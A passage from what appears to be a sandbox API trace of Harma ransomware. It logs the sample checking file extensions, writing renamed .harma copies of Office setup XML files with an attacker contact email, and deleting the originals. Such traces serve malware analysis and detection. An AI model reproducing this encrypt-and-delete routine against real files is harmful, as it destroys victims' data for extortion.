lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.249] SetEndOfFile (hFile=0x16c) returned 1 [0040.249] CloseHandle (hObject=0x16c) returned 1 [0040.250] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.250] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.250] lstrlenW (lpString=".doc") returned 4 [0040.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.250] lstrlenW (lpString=".docx") returned 5 [0040.250] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.250] lstrlenW (lpString=".pdf") returned 4 [0040.250] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.250] lstrlenW (lpString=".xls") returned 4 [0040.250] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.250] lstrlenW (lpString=".xlsx") returned 5 [0040.250] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.250] lstrlenW (lpString=".ppt") returned 4 [0040.250] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.250] lstrlenW (lpString=".zip") returned 4 [0040.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.251] lstrlenW (lpString=".rar") returned 4 [0040.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString=".bz2") returned 4 [0040.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString=".7z") returned 3 [0040.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.251] lstrlenW (lpString=".dbf") returned 4 [0040.251] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.251] lstrlenW (lpString=".1cd") returned 4 [0040.251] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.251] lstrlenW (lpString=".jpg") returned 4 [0040.251] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.251] lstrlenW (lpString=".doc") returned 4 [0040.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString=".docx") returned 5 [0040.251] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.251] lstrlenW (lpString=".pdf") returned 4 [0040.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString=".xls") returned 4 [0040.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString=".xlsx") returned 5 [0040.251] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.251] lstrlenW (lpString=".ppt") returned 4 [0040.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.252] lstrlenW (lpString=".zip") returned 4 [0040.252] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.252] lstrlenW (lpString=".rar") returned 4 [0040.252] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.252] lstrlenW (lpString=".bz2") returned 4 [0040.252] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.252] lstrlenW (lpString=".7z") returned 3 [0040.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.252] lstrlenW (lpString=".dbf") returned 4 [0040.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.252] lstrlenW (lpString=".1cd") returned 4 [0040.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.252] lstrlenW (lpString=".jpg") returned 4 [0040.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.252] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.252] lstrlenW (lpString="Setup.xml") returned 9 [0040.252] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0040.253] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1988) returned 1 [0040.253] CloseHandle (hObject=0x16c) returned 1 [0040.253] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.253] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0040.253] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.254] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.254] GetLastError () returned 0x0 [0040.254] ReadFile (in: hFile=0x16c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0040.256] WriteFile (in: hFile=0x184, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0040.256] ReadFile (in: hFile=0x16c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.257] WriteFile (in: hFile=0x184, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.257] SetEndOfFile (hFile=0x184) returned 1 [0040.257] CloseHandle (hObject=0x184) returned 1 [0040.258] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.258] SetEndOfFile (hFile=0x16c) returned 1 [0040.258] CloseHandle (hObject=0x16c) returned 1 [0040.259] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.259] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.259] lstrlenW (lpString=".doc") returned 4 [0040.259] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.259] lstrlenW (lpString=".docx") returned 5 [0040.259] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.260] lstrlenW (lpString=".pdf") returned 4 [0040.260] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString=".xls") returned 4 [0040.260] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString=".xlsx") returned 5 [0040.260] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.260] lstrlenW (lpString=".ppt") returned 4 [0040.260] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.260] lstrlenW (lpString=".zip") returned 4 [0040.260] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.260] lstrlenW (lpString=".rar") returned 4 [0040.260] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString=".bz2") returned 4 [0040.260] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString=".7z") returned 3 [0040.260] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.260] lstrlenW (lpString=".dbf") returned 4 [0040.260] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.260] lstrlenW (lpString=".1cd") returned 4 [0040.260] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.260] lstrlenW (lpString=".jpg") returned 4 [0040.260] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.260] lstrlenW (lpString=".doc") returned 4 [0040.260] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.260] lstrlenW (lpString=".docx") returned 5 [0040.260] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.261] lstrlenW (lpString=".pdf") returned 4 [0040.261] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString=".xls") returned 4 [0040.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString=".xlsx") returned 5 [0040.261] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.261] lstrlenW (lpString=".ppt") returned 4 [0040.261] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.261] lstrlenW (lpString=".zip") returned 4 [0040.261] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.261] lstrlenW (lpString=".rar") returned 4 [0040.261] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString=".bz2") returned 4 [0040.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString=".7z") returned 3 [0040.261] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.261] lstrlenW (lpString=".dbf") returned 4 [0040.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.261] lstrlenW (lpString=".1cd") returned 4 [0040.261] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.261] lstrlenW (lpString=".jpg") returned 4 [0040.261] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.261] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.262] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0040.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.516] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1452) returned 1 [0040.529] CloseHandle (hObject=0x1a0) returned 1 [0040.529] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0040.529] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.529] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.530] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.530] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0040.530] GetLastError () returned 0x0 [0040.530] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0040.580] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.581] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.581] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.581] SetEndOfFile (hFile=0x1a4) returned 1 [0040.582] CloseHandle (hObject=0x1a4) returned 1 [0040.582] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.582] SetEndOfFile (hFile=0x1a0) returned 1 [0040.583] CloseHandle (hObject=0x1a0) returned 1 [0040.583] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.584] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0040.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.584] lstrlenW (lpString=".doc") returned 4 [0040.584] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.584] lstrlenW (lpString=".docx") returned 5 [0040.584] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.584] lstrlenW (lpString=".pdf") returned 4 [0040.584] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.584] lstrlenW (lpString=".xls") returned 4 [0040.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.584] lstrlenW (lpString=".xlsx") returned 5 [0040.584] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.584] lstrlenW (lpString=".ppt") returned 4 [0040.584] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.584] lstrlenW (lpString=".zip") returned 4 [0040.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.584] lstrlenW (lpString=".rar") returned 4 [0040.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.584] lstrlenW (lpString=".bz2") returned 4 [0040.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.584] lstrlenW (lpString=".7z") returned 3 [0040.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.584] lstrlenW (lpString=".dbf") returned 4 [0040.585] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.585] lstrlenW (lpString=".1cd") returned 4 [0040.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.585] lstrlenW (lpString=".jpg") returned 4 [0040.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.585] lstrlenW (lpString=".doc") returned 4 [0040.585] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString=".docx") returned 5 [0040.585] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.585] lstrlenW (lpString=".pdf") returned 4 [0040.585] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString=".xls") returned 4 [0040.585] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString=".xlsx") returned 5 [0040.585] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.585] lstrlenW (lpString=".ppt") returned 4 [0040.585] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.585] lstrlenW (lpString=".zip") returned 4 [0040.585] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.585] lstrlenW (lpString=".rar") returned 4 [0040.585] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString=".bz2") returned 4 [0040.585] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.585] lstrlenW (lpString=".7z") returned 3 [0040.585] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.585] lstrlenW (lpString=".dbf") returned 4 [0040.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.586] lstrlenW (lpString=".1cd") returned 4 [0040.586] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0040.586] lstrlenW (lpString=".jpg") returned 4 [0040.586] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.586] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.586] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0040.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.586] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=819) returned 1 [0040.586] CloseHandle (hObject=0x1a0) returned 1 [0040.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0040.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.587] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.587] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.587] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0040.587] GetLastError () returned 0x0 [0040.587] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x333, lpOverlapped=0x0) returned 1 [0040.692] WriteFile (in: hFile=0x1a4, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x340, lpOverlapped=0x0) returned 1 [0040.693] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.693] WriteFile (in: hFile=0x1a4, 